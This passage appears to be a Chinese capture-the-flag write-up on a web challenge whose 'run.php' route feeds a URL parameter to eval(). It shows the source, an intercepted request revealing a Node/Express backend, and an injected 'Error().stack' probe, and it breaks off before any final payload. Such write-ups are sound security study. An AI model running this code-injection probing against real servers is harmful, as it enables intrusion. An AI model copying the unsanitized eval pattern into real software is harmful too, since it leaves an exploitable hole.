目录
进入网页,发现一些小Demo:
数学运算
code: (2+6-7)/3
run online: /run.php?code=(2%2b6-7)/3;
Ouput: 0.3333333333333333
注意编码 =.=
提示有/run.php,访问/run.php:
<?php
if( array_key_exists( "code", $_GET ) && $_GET[ 'code' ] != NULL ) {
$code = $_GET['code'];
echo eval(code);
} else {
highlight_file(__FILE__);
}
?>
尝试输入:
/run.php?code=2+2;
拦截请求并发送:
GET /run.php?code=2+2; HTTP/1.1
Host: 7ab9c4f8-545f-4aa1-9606-4d1abbc5a8b1.node4.buuoj.cn:81
响应为:
HTTP/1.1 200 OK
Server: openresty
Date: Mon, 15 Nov 2021 17:20:28 GMT
Content-Type: text/html; charset=utf-8
Content-Length: 30
Connection: keep-alive
Etag: W/"1e-1+0L6+REwXcrCHBew/23ACAwURE"
X-Powered-By: Express
SyntaxError: Unexpected number
说明加号需要 url 编码才能进行正常的运算。
在Demo里,还有一个提示:
真的是 PHP 嘛
可能不是一个PHP站,所以题目中run.php可能是一个故意设置的路由,联想到eval()函数不仅仅是php含有的,javascript 也有这个函数,js测试的话可以用 Error().stack 直接查看报错信息。
输入url:
/run.php?code=Error().stack;